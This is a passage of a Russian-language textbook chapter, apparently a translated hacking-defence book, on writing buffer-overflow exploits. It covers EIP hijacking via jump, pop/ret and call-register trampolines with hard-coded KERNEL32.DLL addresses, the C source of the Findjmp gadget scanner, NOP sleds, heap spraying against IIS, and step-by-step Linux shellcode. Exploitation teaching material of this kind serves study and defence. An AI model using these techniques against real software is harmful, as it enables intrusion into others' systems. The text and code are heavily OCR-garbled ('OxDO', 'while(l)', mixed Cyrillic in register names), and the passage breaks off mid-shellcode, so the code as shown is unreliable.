Вначале рассмотрен более простой случай - программа переполнения буфера для Linux, а затем для Windows NT и отмечены различия используемых способов переполнения буфера для других платформ.

Основные принципы построения программ переполнения буфера В секции подробно описаны принципы построения работоспособной программы переполнения буфера для различных платформ. В предыдущем примере было показано, каким образом переполнение буфера используется для контроля содержимого регистра EIP. Теперь нужно разобраться, как этим можно воспользоваться вообще и для управления компьютером в частности.

Контролируя содержимое регистра EIP, можно выполнить нужный программный код. Обычно это достигается путем прямого или косвенного указания на специально написанный для этих целей программный код - программный код полезной добавки, или payload-Kod. Программный код полезной добавки описываемой программы переполнения буфера очень прост. Он только демонстрирует возможность осуществления задуманного. Более изощренные примеры программного кода полезной нагрузки будут рассмотрены позднее.

В основе современных программ переполнения буфера лежат несколько идей, но будут рассмотрены только некоторые из них, применимые к большинству типов рассматриваемых программ.

Создание программ переполнения буфера подразумевает несколько этапов. Во-первых, нужно получить доступ к буферу данных, то есть найти способ размещения в нем данных. Во-вторых, для того чтобы выполнить нужный код, следует найти способ контроля содержимого регистра EIP. Таких способов несколько. И наконец, в-третьих, нужен программный код полезной нагрузки, выполняющий возложенные на него функции.

Структура программы переполнения буфера Первый этап разработки программы переполнения буфера заключается в поиске способа переполнения буфера. Обычно это несложная задача, решаемая автоматизированными сетевыми средствами записи в буфер или записью в файл нужных данных, которые позже прочитает программа, уязвимая к переполнению буфера. Но иногда не все так просто.

Загрузчики и программный код полезной нагрузки. В военном деле широко используются два связанных понятия: средства доставки и полезный груз. Аналогичные понятия применимы и для переполнения буфера. Говоря о переполнении буфера, подразумевают наличие средства доставки - загрузчика (injection vector) и полезного груза -программного кода полезной нагрузки. Загрузчик - выполнимый программный код, который позволяет управлять указателем на текущую команду удаленной машины. Это код целиком определяется компьютером, на котором он будет выполняться, и преследуемыми целями. Главная задача загрузчика заключается в том, что он должен заставить выполниться программный код полезной нагрузки. Программный код полезной нагрузки подобен вирусу: он должен работать везде, в любое время и независимо от того, как он попал на удаленную машину. Если программный код полезной нагрузки не удовлетворяет перечисленным требованиям, то он неработоспособен. Рассмотрим условия его создания.

Условия работоспособности программного кода полезной нагрузки. Проще всего загрузчик и программный код полезной нагрузки разместить в одном стеке, но так обычно не делается. При использовании стека для хранения загрузчика и программного кода полезной нагрузки следует позаботиться об их взаимодействии и учесть ограничения на допустимый размер программного кода полезной нагрузки. Если программный код полезной нагрузки загружается в память раньше загрузчика, то следует убедиться, что они не конфликтуют друг с другом. Если программы перекрываются, то в программном коде полезной нагрузки следует предусмотреть команду перехода, которая позволяет обойти код загрузчика и продолжить выполнение программного кода полезной нагрузки. Если вопросы их взаимодействия трудноразрешимы, то рекомендуется размещать программный код полезной нагрузки отдельно от загрузчика.

Все программы вводят данные пользователя и хранят их где-нибудь. Любой буфер в программе является кандидатом на хранение программного кода полезной нагрузки. Вопрос только в том, как заставить процессор выполнить его.

Чаще всего для размещения программного кода полезной нагрузки используются:

• файлы на диске, которые загружаются в память;

• доступные локальному пользователю переменные окружения;

• передаваемые через Web-запрос общие переменные окружения;

• доступные пользователю поля сетевого протокола.

После размещения программного кода полезной нагрузки в памяти компьютера остается правильно загрузить в регистр EIP-адрес кода. При размещении программного кода полезной нагрузки не в области стека появляется ряд преимуществ, и ранее невозможное становится возможным. Например, сразу исчезает ограничение на размер кода. До сих пор для установления контроля над компьютером используется ошибка занижения или завышения на единицу числа подсчитываемых объектов (off-by-one error).

Способы передачи управления программному коду полезной нагрузки В последующих секциях рассматриваются способы передачи управления программному коду полезной нагрузки. Особое внимание уделяется поиску не зависимых от платформы решений и способам подмены сохраненного в стеке содержимого регистра EIP, которые позволяют выполнить нужный код. Для этого мало знать адрес размещения программного кода полезной нагрузки в памяти.

Явный переход. Если программе переполнения буфера известен адрес программного кода полезной нагрузки, то можно передать ему управление при помощи явного перехода (direct jump). Программный код полезной нагрузки может быть загружен в область стека. Несмотря на то что адрес стека определить нетрудно, при явном переходе возможны ошибки. Во-первых, адрес стека может оказаться нулевым, поэтому может потребоваться размещение в памяти программного кода полезной нагрузки до загрузчика, сокращая доступную коду память. Во-вторых, адрес размещения в памяти программного кода полезной нагрузки может метаться, поэтому нужно учитывать возможные изменения адреса перехода. Способ явного перехода прост для использования. К тому же существуют хитроумные способы, позволяющие упростить определение адреса (см. секцию «Последовательность команд NOP»). В большинстве случаев в операционной системе UNIX адрес стека ненулевой, поэтому для нее описываемый способ подходит. И наконец, если программный код полезной нагрузки размещен вне стека, то способ явного перехода вне конкуренции.

Неявный переход. Регистр ESP указывает на текущее положение в стеке. Способ неявного перехода(Ытс1 return) основан натом, что любая команда ret, выполнив так называемое выталкивание данных из стека, загрузит в регистр EIP значение из области, на которую указывает регистр ESP. Существенно то, что команда ret загрузит в регистр EIP значение с вершины стека, которое будет проинтерпретировано как адрес программного кода. Если атакующий сможет подменить сохраненное в стеке содержимое регистра EIP на адрес своей программы, то по команде ret ей будет передано управление.

В ряде способов передачи управления программному коду полезной нагрузки используются регистры процессора для указания на область данных в стеке. Регистр EIP программно недоступен, поэтому нельзя подмененный указатель текущей команды непосредственно загрузить в регистр EIP и воспользоваться им для передачи управления в программе, как это показано на рис. 8.20. Для загрузки указателя текущей команды в регистр

ЕГР указатель текущей команды должен указывать на реальную команду, как это показано на рис. 8.21.

В регистр нельзя загрузить указатель на команду

Рис. 8.20. В регистр нельзя загрузить указатель на команду

Указатель команды должен указывать на реальную команду Скрытый переход

Рис. 8.21. Указатель команды должен указывать на реальную команду Скрытый переход. Если хранимое на вершине стека значение не является адресом атакуемого буфера, то для передачи управления программному коду полезной нагрузки можно воспользоваться способом скрытого перехода (pop return). Способ скрытого перехода позволяет загрузить в регистр EIP нужный адрес при помощи последовательности команд pop, завершающейся командой ret, как это показано на рис. 8.22. Последовательность команд pop выталкивает из стека несколько значений до тех пор, пока не придет очередь нужного адреса, который и загружается командой ret в регистр ЕГР. Способ целесообразно использовать, если искомый адрес находится недалеко от вершины стека. Насколько известно, способ скрытого перехода использован в общедоступной программе переполнения буфера информационного сервера Интернет IIS.

Использование команд pop и ret для получения адреса перехода

Рис. 8.22. Использование команд pop и ret для получения адреса перехода

- pop ЕАХ 58 - pop ЕВХ 5В

- pop ЕСХ 59

- pop EDX 5 А

- pop EBP 5D
- pop ESI 5E
- pop EDI 5F
- ret C3

Переход по содержимому регистра. Способ перехода по содержимому регистра (call register) применяется, если в регистре содержится адрес необходимого программного кода полезной нагрузки. В этом случае в регистр EIP загружается указатель на команду при выполнении команды call EDX, call EDI или ее эквивалента (в зависимости от регистра, в который загружен указатель на программу).

- call ЕАХ FF DO - call ЕВХ FF D3

-call ЕСХFFD1

- call EDX FF D2
- call ESI FF D6
- call EDI FF D7
- call ESP FF D4

При просмотре памяти процесса из библиотеки KERNEL32. DLL были найдены следующие подходящие пары шестнадцатеричных байтов:

77F1A2F7 FF DO call ЕАХ 77F76231 FF DO call ЕАХ 7FFD29A7 FF DO call EAX ; a whole block of this pattern exists 7FFD2DE3 FF E6 jmp ESI; a whole block of this pattern exists 7FFD2E27 FF EO jmp EAX ; a whole block of this pattern exists 77F3D793 FFD1 call ECX 77F7CEA7 FF D1 call ECX 77F94510 FF D1 call ECX 77F1B424 FF D3 call EBX 77F1B443 FF D3 call EBX 77F1B497 FF D3 call EBX 77F3D8F3 FF D3 call EBX 77F63D01 FF D3 call EBX 77F9B14F FF D4 call ESP 77F020B0 FF D6 call ESI

77F020D5 FF D6 call ESI 77F02102 FF D6 call ESI 77F27CAD FF D6 call ESI 77F27CC2 FF D6 call ESI 77F27CDB FF D6 call ESI 77F01089 FF D7 call EDI 77F01129 FF D7 call EDI 77F01135 FF D7 call EDI Эти пары шестнадцатеричных байтов могут быть использованы практически в любой программе. Но поскольку найденные пары шестнадцатеричных байтов - часть интерфейса ядра динамически подключаемой библиотеки DLL, то обычно они находятся по фиксированным адресам памяти, которые можно жестко запрограммировать. Имейте в виду, что в различных версиях Windows и, возможно, версиях служебных пакетов Service Pack они могут отличаться. Переход по только что записанному в стек адресу. Способ перехода по только что записанному в стек адресу (push return) слегка отличается от предыдущего, хотя и в нем используется значение, сохраненное в регистре. Различие состоит в использовании вместо команды ret команды call. Если известно, что адрес перехода загружен в регистр ЕАХ, ЕВХ, ЕСХ, EDX, EBP, ESI или EDI, но команду call найти не удается, то попробуйте найти в двоичном коде пару команд push <регистр> и ret.

- push ЕАХ 50 - push ЕВХ 53 -pushЕСХ 51

- push EDX 52
- push EBP 55
- push ESI 56
- push EDI 57
- ret C3

В динамически подключаемой библиотеке Kemel32.DLL содержатся следующие подходящие пары шестнадцатеричных байтов:

77F3FD18 push EDI 77F3FD19 ret (?)
77F8E3A8 push ESP 77F8E3A9 ret

Программа поиска точек перехода Findjmp. На рисунке 8.23 представлена небольшая программа, которая сканирует двоичный код динамически подключаемой библиотеки. Входными параметрами программы являются имя динамически подключаемой библиотеки и название регистра из командной строки. Программа ищет характерные для поддерживаемых способов комбинации шестнадцатеричных цифр в размещенном в памяти двоичном коде заданной динамически подключаемой библиотеки. Она поддерживает способы передачи управления по только что записанному в стек адресу (push return), по содержимому регистра (call register) и явный переход по содержимому регистра (jump register).

Исходный текст программы Findjmp

Рис. 8.23. Исходный текст программы Findjmp.с Программа ищет в динамически подключаемой библиотеке команды перехода, которые можно использовать в своих целях. Вполне вероятно, что для экспериментов с переполнением буфера потребуется подходящее место для передачи управления специальному коду, адрес которого загружен в какой-либо регистр. Программа подскажет потенциальное место загрузки в регистр ЕГР адреса нужной программы. Программа легко адаптируется для поиска других способов перехода или образцов программного кода в динамически подключаемой библиотеке DLL. В настоящее время программа поддерживает поиск следующих команд:

1)jmpreg;
2) call reg;
3) push reg / ret.

Всех их объединяет общий результат: в регистр EIP загружается содержимое регистра reg. Программа также распознает следующие регистры:

• ЕАХ;
•ЕВХ;
• ЕСХ;
• EDX;
•ESI;
•EDI;
•ESP;
•ЕВР.

Программа компилируется как консольное приложение на любой платформе, поддерживающей интерфейс 3 2-разрядных Windows-приложений. Приложение может быть найдено в разделе сайта издательства www.syngress.com/solutions, посвященном книге. Подпрограмма usageQ выводит в стандартное устройство вывода (консоль или принтер) краткую инструкцию по использованию программы.

void usage() { printf(“FindJmp usage\nfindjmp DLL reg\nEx: findjmp KERNEL32.DLL ESP\n”); exit (0);
}
/*The findjmp function is the workhorse. It loads the requested dll, and searches for specific patterns for jmp reg, push reg ret, and call reg.*/ void fmdjmp(char * dll, char *reg)
{
/* patterns for jmp ops */
BYTE jmppat[8][2]= {{0xFF,0xE0},{0xFF,0xE3},{0xFF,0xEl},
{ OxFF, 0xE2 }, { OxFF, 0xE6 }, { OxFF, 0xE7 },
{ OxFF, 0xE4 }, { OxFF, 0xE5 } };
/* patterns for call ops */
BYTE callpat[8][2]= {{OxFF,OxDO},{OxFF,0xD3},{OxFF,OxDl}, {0xFF,0xD2},{OxFF,0xD6},{OxFF,0xD7},
{OxFF,0xD4},{OxFF,0xD5}};
/* patterns for pushret ops */
BYTE pushretpat[8][2]= {{0x50,0xC3},{0x53,0xC3},{0x51,0xC3}, {0x52,0xC3 }, {0x56,0xC3 }, {0x57,0xC3 },
{0x54,0xC3 }, {0x55,0xC3 } };
/*base pointer for the loaded DLL*/
HMODULE loadedDLL;
/*current position within the DLL */
BYTE *curpos;
/* decimal representation of passed register */
DWORD regnum=GetRegNum(reg);
/*accumulator for addresses*/
DWORD numaddr=0;
/*check if register is useable*/ if(regnum == -1)
{
/*it didn’t load, time to bail*/ printf(“There was a problem understanding the register. \n”\
“Please check that it is a correct IA32 register name\n”\
“Currently supported are:\n ”\
“EAX, EBX, ECX, EDX, ESI, EDI, ESP,EBP\n”\
);
exit(-l);
}
loadedDLL=LoadLibraryA(dll);
/* check if DLL loaded correctly*/ if(loadedDLL == NULL)
{
/*it didn’t load, time to bail*/ printf(“There was a problem Loading the requested DLL.\n”\
“Please check that it is in your path and readable\n” );
exit(-l);
}
else
{
/*we loaded the dll correctly, time to scan it*/ printf(“Scanning %s for code useable with the %s register\n”, dll,reg);
/*set curpos at start of DLL*/ curpos=(BYTE*)loadedDLL; try {
while(l)
{
/*check for jmp match*/ if(!memcmp(curpos,jmppat[regnum],2))
{
/* we have a jmp match */ printf(“Ox%X\tjmp %s\n”,curpos,reg); numaddr++;
}
/*check for call match*/ else if(!memcmp(curpos,callpat[regnum],2))
{
/* we have a call match */ printf(“Ox%X\tcall %s\n”,curpos,reg); numaddr++;
}
/*check for push/ret match*/ else if(!memcmp(curpos,pushretpat[regnum],2))
{
/* we have a pushret match */ printf(“Ox%X\tpush %s -“\
“ ret\n”,curpos,reg); numaddr++;
}
curpos++;
}
}
_except(l)
{
printf(“Finished Scanning %s for code useable with”\
“ the %s register\n”,dll,reg); printf(“ Found %d usable addresses\n” ,numaddr);
}
}
}
DWORD GetRegNum(char *reg)
{
DWORD ret=-l; if(! stricmp(reg,“EAX”))
{
ret=0;
}
else if(!stricmp(reg,“EBX”))
{
ret=l;
}
else if(!stricmp(reg,“ECX”))
{
ret=2;
}
else if(!stricmp(reg,“EDX”))
{
ret=3;
}
else if(!stricmp(reg,“ESI”))
{
ret=4;
}
else if(!stricmp(reg,“EDI”))
{
ret=5;
}
else if(!stricmp(reg,“ESP”))
{
ret=6;
}
else if(!stricmp(reg,“EBP”))
{
ret=7;
}
/*return our decimal register number*/ return ret;
}

Смещение. Термин смещение (offset) в основном относится к переполнению буфера на локальной машине. Поскольку на многопользовательских машинах традиционно установлена операционная система Unix, то замечено, что при рассмотрении переполнения буфера термин «смещение» в системе Unix используется гораздо чаще, чем в какой-либо другой. Злонамеренный пользователь машины UNIX всегда располагает какими-то учетными записями пользователя и, как правило, обычно стремится приобрести права суперпользователя root. У пользователя Unix всегда имеется возможность откомпилировать любую программу, в том числе и программу переполнения буфера. На локальной машине программа переполнения буфера иногда вычисляет базовый адрес собственного стека, предполагая, что он совпадает с базовым адресом атакованной программы. В результате у злоумышленника появляется удобная для него возможность указать в команде явного перехода (direct jump) смещение относительно вычисленного базового адреса. Если все сделано правильно, то величина «базовый адрес+смещение» (base+offset) в коде злоумышленника будет указывать на код жертвы.

Последовательность команд NOP. В командах перехода следует точно указать адрес перехода. Для этого нужно решить практически неразрешимую задачу определения адреса программного кода полезной нагрузки в памяти. Сложность состоит в том, что программный код полезной нагрузки каждый раз загружается в разные места памяти. Для системы UNIX

повторная компиляция одного и того же пакета программ в различных средах, различными компиляторами с отличающимися установками оптимизации является общепринятой практикой. Что работает у одной копии программного обеспечения, может не работать у другой. Для того чтобы преодолеть подобные затруднения, рекомендуется использовать последовательность команд NOP (No Operation). Идея проста. NOP - это команда, которая ничего не делает, но занимает место в памяти. Кстати, первоначально команда NOP была создана для отладки. Поскольку команда NOP занимает один байт памяти, то она нечувствительна к проблемам упорядочивания байтов и их выравнивания.

Трюк заключается в инициализации буфера командами NOP перед записью в него программного кода полезной нагрузки. Тогда при неточном определении адреса программного кода полезной нагрузки ничего страшного не произойдет, если найденный адрес будет указывать внутрь последовательности команд NOP. Адрес может указывать на любую область памяти в буфере, если буфер заполнен кодами команды NOP. В случае перехода на команду NOP выполнится она и все последующие, пока не дойдет очередь до первой команды программного кода полезной нагрузки. Чем больше заполненный командами NOP буфер, тем с меньшей точностью может быть определен адрес программного кода полезной нагрузки.

Программный код полезной нагрузки Значение программного кода полезной нагрузки огромно. Однажды написав код полезной нагрузки, в дальнейшем можно наращивать его функциональные возможности хитроумными способами. Программный код полезной нагрузки может быть одним из наиболее полезных и созидательных компонент программы переполнения буфера.

Кодирование. С трудом верится в целесообразность чрезмерного усложнения своей работы. Большинство известных программ переполнения буфера состоят из блоков нечитаемого машинного кода. Вряд ли это кому-то понравится. Есть гораздо лучший способ кодирования полезной нагрузки: напишите код полезной нагрузки на языке С, C++ или встроенном ассемблере, а затем скопируйте откомпилированный код в программный код полезной нагрузки. Многие компиляторы запросто объединяют код на ассемблере и С в единую программу. Подобный способ написания созданных на разных языках программ называется способом комплексирования программ (fusion technique).

Комплексирование программ - сравнительно простой способ написания и компиляции программ на ассемблере с нетрадиционными ухищрениями. Некоторые из них обеспечивают внедрение в рабочие области памяти других процессов. Подобное Windows NT обеспечивает для аутентифицированных пользователей. Но при переполнении буфера того же может добиться и пользователь, не прошедший аутентификации. В любом случае программный код вставляется в пространство удаленного процесса.

Распыление динамически распределяемой памяти («куча»). (Динамически распределяемая память («куча») - область памяти, выделяемая программе для динамически размещаемых структур данных.) Во время исследования возможности использования уязвимости. IDA (Increment/Decrement Adress) информационного сервера Internet IIS (Internet Information Server) 4/5/6 столкнулись со странной ситуацией. Было обнаружено, что диапазон адресов, на которые мог ссылаться при переполнении буфера регистр EIP, сильно ограничен. Уязвимость. IDA была обусловлена переполнением буфера в результате расширения строки символов. Другими словами, бралась строка «АААА» (в шестнадцатеричном представлении 0x41414141) и преобразовывалась к шестнадцатеричному значению 0x0041004100410041. Это было очень неприятно, так как в область памяти по адресу, начинающемуся с шестнадцатеричного значения 0x00, никакой код никогда не загружался. Поэтому традиционный способ передачи управления программному коду полезной нагрузки с помощью команд перехода по содержимому регистра (jmp ESP или jmp reg) оказался непригодным. Другим неприятным проявлением расширения строки символов было размещение нулевых байтов между байтами программного кода полезной нагрузки. Для преодоления этой проблемы был придуман новый способ, получивший название

«принуждение динамически распределяемой памяти» (forcing the heap). Этот способ относится к классу нарушения «кучи» (heap violation). О наиболее известных атаках на динамически распределяемую память будет рассказано позднее, а способ «принуждения динамически распределяемой памяти» отличается от них тем, что его целью является переполнение стека, а не кучи. В ряде случаев этот способ оказался полезным, в том числе и при переполнении буфера из-за расширения строк.

При исследовании доступных адресов памяти вида ОхООааООЪЪ, где аа и ЪЪ -управляемые символы, было обнаружено, что этот диапазон адресов информационный сервер Internet IIS отводит под динамически распределяемую память. Всякий раз при передаче запроса информационному серверу Internet он сохраняет в динамически распределяемой памяти данные сеанса. Было найдено, что в этом же диапазоне памяти сохранялись пользовательские переменные окружения протокола HTTP, но ими нельзя было воспользоваться. Способ распыления динамически распределяемой памяти заключается в создании в ней последовательности команд NOP и передачи туда управления. Это позволило переполнить стек, получить контроль над регистром EIP и с помощью команды перехода в область динамически распределяемой памяти выполнить размещенный в ней программный код.

Преимущества предложенного способа заключаются в использовании различных ухищрений обхода нулевых байт, вставленных в программный код полезной нагрузки в результате расширения байтов, а также в значительном увеличении размера кода полезной нагрузки, загружаемого в доступную память. Способ удобен еще и тем, что не требует задания смещения в команде передачи управления в область памяти с загруженной динамически подключаемой библиотекой. Достаточно только сослаться на область динамически распределяемой памяти.

Обратная сторона способа заключается в необходимости размещения в области динамически распределяемой памяти длинной последовательности команд NOP, позволяющей загрузить нужный код по желаемым адресам памяти.

Другой способ, основанный на спецификации %и (кодирование Unicode), был развит японским исследователем безопасности, известным под псевдонимом hsj. Он позволяет управлять всеми четырьмя байтами регистра EIP, что позволяет применить традиционные способы переполнения буфера. Перечисленные способы подтверждает существование нескольких решений одной проблемы. Кодирование Unicode специфично для информационного сервера Internet, поэтому способ японского исследователя применим только к нему, а у способа распыления динамически распределяемой памяти более широкая область применения. Им можно воспользоваться для переполнения буфера даже тогда, когда декодирование невозможно.

Пример программы переполнения буфера для Linux В последнее время феноменально выросла популярность Linux. Несмотря на доступные исходные тексты и армию разработчиков открытого программного обеспечения, до сих пор нельзя сказать, что в Linux исправлены все ошибки. Часто по вине пользователя переполнение буфера происходит в программах, которые непосредственно не связаны с безопасностью системы. Далее особое внимание будет обращено на способы, которые могут быть использованы в многочисленных ситуациях, в том числе и связанных с безопасностью.

На примере программного кода записи строки на экран будет продемонстрировано последовательное расширение функциональных возможностей программы переполнения буфера. Пример подобен простой программе на языке С, использующей функцию write(). Сначала создадим простую программу, выводящую строку на экран:

-write.с- int main()

{
write( 1 ,»EXAMPLE\n», 10);
}

-write, с-

Сохраним исходный текст в файле write.с, откомпилируем его компилятором GCC и выполним.

bash$ gcc write.c -о example -static bash$ ./example

EXAMPLE
bash$

Все достаточно просто. Для того чтобы окончательно понять работу программы, воспользуемся утилитой gdb. У утилиты gdb больше возможностей, чем читатель может себе представить. Если он знает их все, то ему нужно сменить хобби. Для изучения примера достаточно основных возможностей утилиты gdb. Для начала откроем пример программы:

- bash$ gdb ./example GNU gdb 5.1
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB. Type “show warranty” for details.
This GDB was configured as “i686-pc-linux-gnu”...
(gdb)

Может оказаться, что версия утилиты gdb читателя отличается от используемой в книге. Но это не имеет большого значения. Без всякого сомнения, используемые возможности утилиты gdb реализованы в версии утилиты читателя. Введем в ответ на приглашение утилиты команду disassemble main и исследуем выполняемый код программы в функции mainQ, обратив особое внимание на участок кода, который вызывает функцию write0. Команда disassemble выводит код функции на языке ассемблера используемого компьютера. Для нашего примера это Intel х86.

(gdb) disas main Dump of assembler code for function main:
0x8048 leO <main>: push %EBP 0x80481el <main+l>: mov %ESP,%EBP 0x8048 le3 <main+3>: sub $0x8,%ESP 0x8048 le6 <main+6>: sub $0x4,%ESP 0x8048 le9 <main+9>: push $0x9 0x80481eb <main+ll>: push $0x808e248 0x80481f0 <main+16>: push $0x1
0x80481f2 <main+18>: call 0x804cc60 <_libc_write>
0x8048lf7 <main+23>: add $0x10,%ESP 0x8048lfa <main+26>: leave 0x8048lfb <main+27>: ret End of assembler dump.
(gdb)

Далее будет исследован выполняемый код функции writeQ. Параметры функции writeQ записываются в стек в обратном порядке. Сначала командой push $0x9 в стек проталкивается величина 0x9 (символ $0х указывает на представление утилитой gdb выводимых величин в шестнадцатеричном виде), где 9 - длина строки «EXAMPLE\n». Далее в стек командой push $0х808е248 проталкивается адрес строки «EXAMPLE\n». Для просмотра содержимого области по этому адресу достаточно в ответ на приглашение gdb ввести команду утилиты: x/s 0х808е248. Заключительный шаг перед вызовом функции writeQ состоит в записи в стек дескриптора файла. В данном случае это 1 - дескриптор стандартного вывода. После перечисленных действий вызывается функция writeQ.

0х80481е9 <main+9>: push $0x9 0x80481eb <main+ll>: push $0x808e248

0x80481f0 <main+16>: push $0x1
0x80481f2 <main+18>: call 0x804cc60 <_libc_write>

Для просмотра кода функции write () в ответ на приглашение утилиты введем команду

disas_libc write . Получим следующее.

(gdb) disas_libc_write Dump of assembler code for function_libc write:
0x804cc60 <_libc_write>: push %EBX
0x804cc61 <_libc_write+l>: mov 0xl0(%ESP,l),%EDX
0x804cc65 <_libc_write+5>: mov Oxc(%ESP,l),%ECX
0x804cc69 <_libc_write+9>: mov 0x8(%ESP,l),%EBX
0x804cc6d <_libc_write+13>: mov $0x4,%EAX
0x804cc72 <_libc_write+18>: int $0x80
0x804cc74 <_libc_write+20>: pop %EBX
0x804cc75 <_libc_write+21>: cmp $0xfffff001,%EAX
0x804cc7a <_libc_write+26>: jae 0x8052bb0 <_syscall_error>
0x804cc80 <_libc_write+32>: ret
End of assembler dump.

Начальная команда push %EBX не так важна. Она сохраняет в стеке старое значение регистра ЕВХ. В программе значение регистра изменяется, а затем восстанавливается командой pop %ЕВХ. Еораздо интереснее последующие команды mov и int $0x80. Первые три команды mov переписывают данные, ранее сохраненные в стеке функцией main (), в рабочие регистры. Четвертая команда mov подготавливает вызов функции writeQ, помещая номер системного вызова в регистр ЕАХ. При выполнении команды int $0x80 операционная система передает управление программе системного вызова по номеру, записанному в регистре ЕАХ. Номер системного вызова функции writeQ - 4. В файле

«/usr/include/asm/unistd.h» перечислены все номера доступных системных вызовов.

0x804cc6d <_libc_write+13>: mov $0х4,%ЕАХ 0х804сс72 <_libc_write+18>: int $0x80

Подведем итоги. Теперь известно, что функции writeQ передается три параметра: длина записываемых данных, адрес строки источника, из которой переписываются данные, и адресат записи - дескриптор файла. Также теперь известно, что длина строки, в данном случае 9 байт, передается через регистр EDX, адрес строки записываемых данных через регистр ЕСХ и дескриптор файла должен быть передан через регистр ЕВХ. Таким образом, простой код вызова функции writeQ без обработки ошибок выглядит следующим образом: mov $0x9,%EDX mov 0х808е248,%ЕСХ mov $0xl,%EBX mov $0х4,%ЕАХ int $0x80

Зная ассемблерный вид вызова функции writeQ, можно приступить к написанию управляющего кода (shellcode). Единственная сложность заключается во второй команде mov 0х808е248,%ЕСХ с явно заданным адресом памяти. Проблема состоит в том, что нельзя прочитать из строки данные, не зная ее адрес, но нельзя узнать адрес строки, пока она не будет загружена в память. Для ее разрешения применима последовательность команд jmp/call. Найденное решение основано на алгоритме работы команды call: по команде call в стек записывается адрес следующей команды. Поэтому выход из трудного положения может быть следующим:

jump <string> code: pop %ECX string: call <code>
“our string\n”

По команде call в стек записывается адрес следующей команды и выполняется переход по указанной метке. На самом деле в стек загружается адрес строки, но для выполнения команды это безразлично. В результате на вершине стека оказывается адрес строки string\n.

После перехода на метку code выполняется команда pop %ЕСХ. Команда pop переписывает в заданный регистр данные с вершины стека. В данном случае в регистр ЕСХ записывается адрес строки string\n. Осталось только для правильной работы программы очистить (обнулить) регистры от посторонних данных. Очистка регистров выполняется командами операция исключающее ИЛИхог или вычитания sub. Лучше использовать команду хог, потому что команда хог всегда обнуляет регистр и транслируется в быстрый компактный код. В системных вызовах для передачи параметров используются младшие байты регистров, поэтому обнуление регистров гарантирует правильную передачу параметров. В итоге фрагмент программы приобрел следующий вид: jump string code: pop %ECX xor %EBX, %EBX xor %EDX, %EDX xor %EAX, %EAX mov $0x9,%EDX mov $0xl,%EBX mov $0x4,%EAX int $0x80 string: call code “EXAMPLES”

После завершения работы над фрагментом управляющего кода следует решить вопрос о передачи ему управления из программы переполнения буфера. Для этого нужно подменить сохраненное в стеке значение регистра EIP на адрес управляющего кода. Когда функция bof() уязвимой программы попытается вернуться в функцию main по команде ret, она восстановит из стека сохраненное там значение регистра ЕГР и по команде перехода jmp перейдет по восстановленному адресу. Но где в памяти будет расположен управляющий код? Конкретнее, на какой адрес нужно подменить содержимое регистра EIP, сохраненное в стеке? При помощи функции freadQ данные из файла считываются в размещенный в стеке восьмибайтовый буфер buffer. Известно, что программный код полезной нагрузки в конечном счете будет загружен из файла в стек. В UNIX-подобных системах во всех программах стек начинается с одного и того же адреса. Поэтому последнее, что осталось сделать, - это написать программу определения смещения области размещения программного кода полезной нагрузки в стеке относительно его начала.

Перед завершением своей работы функция передает вызвавшей ее программе код возврата в регистре ЕАХ, чтобы та знала об успешном или неуспешном выполнении функции. Чтобы узнать ассемблерную реализацию фрагмента программы, отвечающего за передачу кода завершения, оттранслируем и дизассемблируем следующую программу:

$ cat ret. с int main()

{
return(O);
}
$ gcc ret.c -0 ret $ gdb ./ret (gdb) disas main
Dump of assembler code for function main:
0x8048430 <main>: push %EBP
0x8048431 <main+l>: mov %ESP,%EBP
0x8048433 <main+3>: mov $0x0,%EAX <- here it is :)
0x8048438 <main+8>: pop %EBP 0x8048439 <main+9>: ret 0x804843a <main+10>: mov %ESI,%ESI
0x804843c <main+12>: nop 0x804843d <main+13>: nop 0x804843e <main+14>: nop 0x804843f <main+15>: nop End of assembler dump.
(gdb)

Далее, вместо выполнения оператора возврата return (значение) пропустим его и перепишем значение ESP в регистр ЕАХ. Таким способом значение регистра ESP может быть назначено переменной. Вот пример программы, отображающей содержимое регистра ESP:

-get ESP.с-unsigned long get ESP(void)

{
_asm_(“movl %ESP,%EAX”);
}
int main()
{
printf(“ESP: Ox%x\n”, get_ESP()); return(O);
}
-getESP.c-

Можно ли теперь, зная адрес начала стека, точно определить в нем место размещения управляющего кода? Нет, нельзя! Но для разумной оценки адреса области размещения управляющего кода можно увеличить ее размер способом, аналогичным способу последовательности команд пор. В начале работы программы все регистры были очищены командами хог, поэтому в качестве заполнителя буфера можно воспользоваться одной из команд работы с регистром, которая не окажет влияния на работу программы. Например, команда inc О %>ЕАХ, машинный код представляется шестнадцатеричным байтом 0x41, увеличивает значение регистра ЕАХ на единицу. В управляющем коде регистр ЕАХ перед использованием обнуляется. Поэтому при размещении перед первой командой jmp команд inc %ЕАХ управляющий код будет прекрасно работать. В действительности в управляющем коде можно разметить столько команд inc %ЕАХ, сколько захотим. В данном случае команда inc %ЕАХ эквивалентна команде пор. Поэтому выберем размер управляющего кода равным 1000 байт и заполним его символами 0x41, другими словами, командой inc%EAX.

Определенная в программе переполнения буфера символическая константа OFFSET -предполагаемое смещение области размещения управляющего кода в стеке. В программе ему присвоено символическое значение ESP+1500.

Вот так в конечном счете выглядят управляющий код и программа переполнения: #include <stdlib.h> #include <stdio.h>

/***** Shellcode dev with GCC *****/ int main() {
_asm_(”
jmp string # jump down to <string:>

Это команды, с которых фактически начинается программный код полезной нагрузки. Сначала обнуляются используемые в программе регистры, чтобы находящиеся в них данные не повлияли на работу управляющего кода: хог %ЕВХ, %ЕВХ хог %EDX, %EDX хог %ЕАХ, %ЕАХ

# Now we are going to set up a call to the write
#function. What we are doing is basically:
# write( 1,EXAMPLE ! \n, 9);
# Syscall reference: /usr/include/asm/unistd.h
#
# write : syscall 4
#

Почти всем системным вызовам Linux параметры передаются через регистры. Параметры системного вызова <write> передаются через следующие регистры: • ЕСХ: адрес записываемых данных;

• ЕВХ: дескриптор файла, в рассматриваемом случае используется дескриптор стандартного файла вывода stdout;

• EDX: длина записываемых данных.

Теперь в регистр ЕВХ записывается нужный дескриптор файла. В данном случае дескриптор стандартного файла вывода stdout равен 1:

popl %ЕСХ # %ЕСХ now holds the address of our string mov $0x1, %EBX

Затем длина записываемой строки записывается в младший полубайт регистра %EDX:

movb $0x09, %dl

Перед обращением к системному вызову следует сообщить операционной системе, какой системный вызов должен быть выполнен. Достигается это записью номера системного вызова в младший байт регистра %ЕАХ - %а1: movb $0x04, %al

Теперь операционная система выполняет системный вызов, номер которого записан в регистр %а1. int $0x80

